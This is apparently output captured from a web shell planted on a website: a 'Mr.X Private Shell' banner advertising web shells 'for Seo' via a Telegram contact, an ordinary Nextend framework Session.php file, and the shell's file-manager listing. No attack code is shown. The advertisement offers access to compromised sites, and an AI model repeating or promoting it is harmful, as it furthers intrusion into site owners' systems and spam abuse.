__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Session;
use Nextend\Framework\Session\Joomla\JoomlaStorage;
use Nextend\Framework\Session\WordPress\WordPressStorage;
class Session {
/**
* @var $storage AbstractStorage
*/
private static $storage = false;
private static function getStorage() {
if (!self::$storage) {
self::$storage = new JoomlaStorage();
}
return self::$storage;
}
public static function get($key, $default = null) {
return self::getStorage()
->get($key, $default);
}
public static function set($key, $value) {
self::getStorage()
->set($key, $value);
}
public static function delete($key) {
self::getStorage()
->delete($key);
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Joomla | Folder | 0775 |
|
|
| AbstractStorage.php | File | 2.01 KB | 0664 |
|
| Session.php | File | 806 B | 0664 |
|